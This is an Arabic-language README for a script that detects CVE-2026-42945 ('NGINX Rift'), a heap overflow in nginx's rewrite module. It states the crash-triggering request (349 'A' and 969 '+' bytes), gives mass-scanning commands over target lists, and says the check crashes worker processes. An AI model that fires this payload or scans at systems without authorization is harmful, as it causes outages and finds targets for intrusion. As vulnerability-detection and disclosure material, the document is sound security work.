
نص الكشف السلوكي لثغرة CVE-2026-42945 (NGINX Rift) — تجاوز سعة الكومة في ngx_http_rewrite_module. لا يوجد RCE، كشف قائم على الانهيار فقط.
نص كشف سلوكي لـ CVE-2026-42945 (NGINX Rift) — تجاوز سعة المخزن المؤقت الكومي (heap buffer overflow) في ngx_http_rewrite_module الموجود في nginx منذ 2008.
هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها والبحث العلمي. قم بتشغيلها فقط على أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرح به قد ينتهك قوانين جرائم الكمبيوتر في بلدك. المؤلف غير مسؤول عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة.
CVE-2026-42945 هو تجاوز سعة المخزن المؤقت الكومي في محرك البرامج النصية لإعادة الكتابة في nginx (ngx_http_rewrite_module)، تم تقديمه في الإصدار 0.6.27 (2008) وظل موجودًا لمدة ~18 عامًا.
ينشأ الخلل من عدم تطابق بين ممرين لمحرك إعادة الكتابة:
is_args = 0 → يخصص مخزنًا مؤقتًا صغيرًاis_args = 1 → يستدعي ngx_escape_uri، مما يوسع كل بايت قابل للهروب (مثل +) إلى 3 أضعاف حجمه → يتجاوز سعة المخزن المؤقت الكوميوهذا يسمح بتنفيذ كود عن بُعد بدون مصادقة.
الإصدارات المتأثرة:
| المنتج | الإصدارات الضعيفة | الإصدارات المصححة |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.30.1, 1.31.0+ |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
المراجع:
هذا البرنامج النصي لا يحاول تنفيذ RCE. إنه يحاكي تدفق PoC باستخدام مقابس خام (raw sockets):
GET /api/<349×A><969×+> كطلب HTTP جزئييعتمد الكشف على تعطل عملية العامل. سيعيد السيد master إحياءها فورًا، لكن سيكون هناك انقطاع قصير. استخدم بحذر على أنظمة الإنتاج.
# هدف واحد (HTTP)
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 80
# هدف واحد (HTTPS)
python3 detect-CVE-2026-42945.py --host example.com --port 443 --tls
# قائمة أهداف
python3 detect-CVE-2026-42945.py -l targets.txt
# مع خيوط وملف مخرجات
python3 detect-CVE-2026-42945.py -l targets.txt --threads 10 -o vulnerable.txt
# محاولات أكثر للأهداف غير الموثوقة
python3 detect-CVE-2026-42945.py --host 10.0.0.1 --port 8080 --tries 5
تنسيق targets.txt — هدف واحد في كل سطر:
http://example.com
https://example.com:8443
192.168.1.1
192.168.1.1:8080
الخيارات:
--host مضيف الهدف الفردي
--port المنفذ (الافتراضي: 80، أو 443 مع --tls)
--tls استخدام TLS/HTTPS للهدف الفردي
-l, --list ملف يحتوي على قائمة الأهداف
--tries عدد محاولات الكشف لكل هدف (الافتراضي: 3)
--threads الخيوط المتزامنة لفحص القائمة (الافتراضي: 5)
-o, --output حفظ الأهداف الضعيفة في ملف CSV
[*] CVE-2026-42945 NGINX Rift Detection | targets=2 threads=5 tries=3
[*] http://192.168.1.1:80 - nginx/1.28.0
[*] http://192.168.1.2:8080 - nginx/1.31.0
[!!!] VULNERABLE | http://192.168.1.1:80 | nginx/1.28.0 | worker crash (trigger connection closed — worker respawned)
[+] http://192.168.1.2:8080 - not vulnerable (or timing miss, try --tries 5)
==================================================
[*] Scan complete. 2 targets scanned.
[!!!] 1 VULNERABLE target(s):
http://192.168.1.1:80 (nginx/1.28.0)
==================================================
يحتوي المستودع الأصلي على بيئة مختبرية Docker:
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift
cd Nginx-Rift
chmod +x setup.sh && ./setup.sh
docker compose -f env/docker-compose.yml up -d
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 19321
MIT — انظر LICENSE
البحث الأصلي عن الثغرة وPoC: DepthFirstDisclosures